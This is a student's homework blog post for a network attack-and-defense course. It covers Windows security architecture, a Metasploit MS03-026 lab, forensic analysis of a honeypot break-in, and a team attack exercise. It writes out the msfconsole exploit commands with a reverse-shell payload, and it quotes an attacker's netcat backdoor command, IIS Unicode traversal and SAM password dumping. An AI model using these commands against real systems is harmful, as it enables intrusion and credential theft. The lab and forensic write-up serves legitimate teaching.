20199319 2019-2020-2 《网络攻防实践》第七周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
我在这个课程的目标是 学习并掌握网络攻防知识,能完成相关实践
这个作业在哪个具体方面帮助我实现目标 学习Windows系统网络攻防的知识,并能够利用漏洞进行简单的攻击

Windows操作系统安全防护

1.知识点梳理与总结

Windows操作系统的基本框架概述

1、Windows操作系统的基本结构分为:运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。Windows操作系统的基本结构示意图如下:

2、Windows操作系统内核的基本模块包括如下:

  • Windows执行体:内核核心文件ntoskml.exe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务;
  • Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等;
  • 设备驱动程序:支持通过数字签名认证的第三方的硬件设备驱动程序加载进入内核执行;
  • 硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码;
  • Windows窗口与图形界面接口内核实现代码:即win32k.sys文件

3、Windows操作系统在用户态的代码模块则包括如下:

  • Windows内核体系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程;
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程
  • 服务进程:通过服务管理机制所启动的一系列系统及网络服务。
  • 用户应用软件:在用户态执行的各类用户应用软件
  • 核心子系统DLL:dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调度。

4、Windows操作系统核心机制:

  • (1)Windows进程和线程管理机制:
    进程看作是可执行程序运行时刻的容器,线程是指令执行的具体载体,进程与线程结构示意图:

    私有虚拟内存空间描述符、系统资源对象句柄列表、带执行用户访问权限的安全访问令牌、执行线程(记录进程ID及其父进程ID)。
  • (2)Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分
  • (3)windows 文件管理机制:
    使用NTFS文件系统;基于ACL访问控制列表来保证文件资源读/写的安全性;
    可执行文件采用PE格式,主要由Dos头、PE头、分段表、以及具体的代码段和数据段等组成。
  • (4)windows注册表管理机制:
    Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在 Windows系统配置和控制方面承担着关键角色,实质是一个庞大的数据库。
  • (5)Windows的网络机制:
组件 介绍
各种网卡硬件设备驱动程序 物理层,第三方硬件厂商开发提供
NDIS库及mimiport驱动 数据链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口,使得协议驱动程序以一种与设备无关的方式来跟网络适配器驱动程序进行通信
TDI传输层(网络协议驱动) 网络层与传输层,实现TCP/IP/IPX等协议栈,接收上层TDI的IRP请求,进行网络传输
网络API DLL及TDI客户端 会话层和表示层,前者为应用程序提供独立于具体协议提供网络交互和实现方式,后者是网络API接口的具体实现
网络应用服务程序与服务进程 应用层,使用各种网络API DLL来实现网络交互和通信功能

Windows操作系统安全体系结构与机制

1、安全体系结构:

  • Windows操作系统基于引用监控器模型来实现基本的对象安全模型;
  • 主体到客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
  • 核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)

2、身份认证机制:

  • 安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)
  • Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。
  • Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于“质询-应答式”的身份验证协议过程)两种;
  • Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
  • 使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解

3、授权与访问控制机制:基于引用监控器模型,由SRM(内核态)和LSASS(用户态)共同完成。由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。

  • whoami查看当前用户的访问令牌信息
  • 对象(系统中所有需保护的资源):文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
  • 每个对象关联一个SD安全描述符,属性组成:Owner SID(对象所有者安全标识符),Group SID(用户组),DACL自主访问控制列表(指明哪些安全主体以何种方式访问该对象),SACL系统审计访问控制列表(指明由哪些主体发起的哪些访问需被审计)。

4、安全审计机制:由系统管理员定义,来确定系统对哪些时间进行记录

  • LSASS服务保存审计策略;SRM安全饮用监控器在进行对象访问授权时,将审计记录发送给LSASS服务;LSASS服务补充审计记录细节后,发送给EventLog事件日志服务;EventLog服务最后进行写入记录到日志文件。

5、其他安全机制:

  • Windows安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。

Windows远程安全攻防技术

1、类别:
(1)远程口令猜解攻击

  • 服务:SMB协议、WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
  • 工具:Legion、enum、SMBGrind、NTScan、XScan、流光等。
  • 窃听与破解:利用NTLM、LanMan、kerberos网络认证协议的弱点。
  • 防范:尽量关闭不必要的易受攻击的网络服务;配置主机防火墙来限制一些端口服务;利用网络防火墙限制这些服务的访问;禁用过时且有安全缺陷的Lanman和NTLM;制定实施强口令策略。

(2)网络服务远程渗透攻击:NetBIOS、SMB、MSRPC、IIS等服务存在漏洞
(3)攻击Windows客户端及用户

2、安全漏洞公开披露信息库:CVE、NVD、SecurityFocus、OSVDB

3、针对特定目标的渗透测试攻击过程:漏洞扫描测试(发现已知漏洞)、查找针对发现漏洞的渗透代码(MS05-039即插即用服务漏洞)、实施渗透测试(可否达成预期目标取决于渗透代码和攻击目标的润建环境是否匹配)

4、Metasploit的相关模块介绍

模块 介绍
Exploits 漏洞模块
Auxiliary 进行扫描、查点等辅助任务
Payloads 负载模块,在目标系统上植入运行的Shellcode
Encoders 编码器,对攻击负载进行编码躲避检测
Nops 对攻击负载进行填充

5、Metasploit常用命令介绍

Windows远程安全攻防技术

1、windows本地特权提升:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,从受限用户尝试获得特权账户

  • 途径:通过DLL注入和破解本地程序安全漏洞
  • 防范措施:及时打补丁;及时跟踪厂家的安全警告

2、windows敏感信息窃取

  • 包括windows系统口令字密文提取技术*、windows系统口令字破解技术、用户敏感信息窃取
  • Windows系统口令密文提取技术(拷贝口令密文文件、利用rdisk工具备份、用pwdumpx从SAM文件或活动目录中提取口令密文)。
  • Windows系统口令字破解技术(获得密文文件后进行密文破解从而获得用户口令)
  • 防范措施:使用强度高的口令

3、windows消灭踪迹

  • 手段:关闭审计功能、清理事件日志。
  • 防范措施:配置好系统审计和网络服务审计功能;将日志传输到安全服务器中、定期备份。

4、远程控制与后门

  • 手段:植入第三方的远程控制与后门程序,主要包含命令行远程控制程序(Netcat,psexec,meterpreter)和图形化远程控制程序(VNC,RemoteAdmin,PCanyware)。
  • 远程控制程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
  • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

2.实践过程

实验一:Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS03-026漏洞进行远程渗透攻击,获取目标主机的访问权

  • 以Kali(192.168.200.124)作为攻击机进行攻击,Win2kServer(192.168.200.124)作为靶机。在kali中输入msfconsole进入Metasploit。
  • 然后执行命令【use exploit/windows/dcerpc/ms03_026_dcom】使用MS03-026作为攻击的目标漏洞。通过【show payloads】会显示出有效的攻击载荷。
    然后通过命令【set PAYLOAD windows/meterpreter/reverse_tcp】(这里使用这条指令最后运行出错,后改为【set PAYLOAD generic/shell_reverse_tcp】)设置打开反向连接的载荷。payload是用来实际做什么事的代码,exploit是传送系统。
    接下来使用【set LHOST 192.168.200.8】设置攻击机IP地址,使用【set RHOST 192.168.200.124】设置靶机IP地址。

  • 执行命令【exploit】发起攻击,然后成功进入靶机
  • 最后尝试新建文件夹,并返回靶机中查看,成功!

取证分析实践:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

  • 攻击者使用了什么破解工具进行攻击
  • 攻击者如何使用这个破解工具进入并控制了系统
  • 攻击者获得系统访问权限后做了什么
  • 我们如何防止这样的攻击
  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
  • 首先用wireshark打开云班课上的.log文件,会看到非常多报文。根据题目先进行一下筛选ip.src == 213.116.251.162 && ip.dst ==172.16.1.106,可以发现攻击者一开始进行了HTTP访问,追踪数据流可以发现发起http请求的主机系统信息NT5.0以及响应http请求的服务端主机安装了IIS4.0服务组件。

  • 接着发现一个报文:Get请求后面加上了一些东西,指向了系统启动文件boot.ini,研究get后面的内容发现【%C0%AF】为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。关于Unicode漏洞的说明:IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
  • 继续往下有一个指向了一个msadcs.dll的数据包,通过搜索特征码ADM!ROX!YOUR!WORLD,得知是msadc.pl/msadc2.pl渗透脚本工具。并在msadcs.dll存在的MDAC RDS漏洞进行SQL注入
  • 接下来使用【http.request.uri contains "msadc"】进行筛选,可以看到攻击机成功上传了工具,因为攻击者密码写错了重复了几次
  • 然后攻击者使用【c+nc+-l+-p+6969+-e+cmd1.exe 】打开后门
  • 尝试提升本地权限,向yay.txt和yay2.txt的文件内写指令,失败后又尝试查看用户组信息,将IUSR加入本地管理员组

  • 获取SAM备份,在上一步获取权限之后转而去继续获取SAM密码。这次rdisk /s-备份关键系统信息,在%systemroot%\repair中会创建一个sam._的SAM压缩拷贝。
  • 然后发现又开启了一个远程shell,成功的获取到了SAM的值,并写入文件har.txt,将SAM备份文件拷贝到IIS的根目录inetpub,并通过web方式进行了下载

  • 如何防止这样的攻击:(1)直接防御措施:打补丁(2)进一步防御措施:禁用用不着的RDS等服务;防火墙封禁网络内部服务器发起的连接;为web server在单独的文件卷上设置虚拟根目录;使用NTFS文件系统,因为FAT几乎不提供安全功能;使用IIS Lockdown 和URLScan 等工具加强web server。
  • 攻击者警觉了他的目标是一台蜜罐主机,在4351号数据包,攻击者写了这是他见过的最好的蜜罐。

团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metaploit选择漏洞进行攻击,获得控制权。
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

  • 攻击过程同实践1:【use exploit/windows/smb/ms03_026_dcom】、【set PAYLOAD generic/shell_reverse_tcp】、【set RHOST IP】、s【et LHOST IP】,然后开启wireshark进行监听,输入exploit进行攻击。然后可以看到源地址192.168.200.8,靶机地址192.168.200.124,源端口4444, 目标端口1047,时间等信息。

3、学习中遇到的问题及解决

1、win2kserver与其他虚拟机无法ping通
重新导入一次后成功。

2、实践一执行exploit结果出错

将【set PAYLOAD windows/meterpreter/reverse_tcp】改为【set PAYLOAD generic/shell_everse_tcp】成功

4、学习感悟、思考

通过本次实践对Windows的攻防有了基本的了解,能够进行一些简单的漏洞攻击,但对于一些原理上的内容还是理解的不够透彻。很多分析还比较浅显,还是要多寻找相关资料进行学习。

参考资料

Metasploit介绍
Metasploit常用命令
Unicode漏洞
windows攻击技术及防御方法(云班课资料)

posted @ 2020-04-14 21:52  1993Fxn  阅读(328)  评论(0编辑  收藏  举报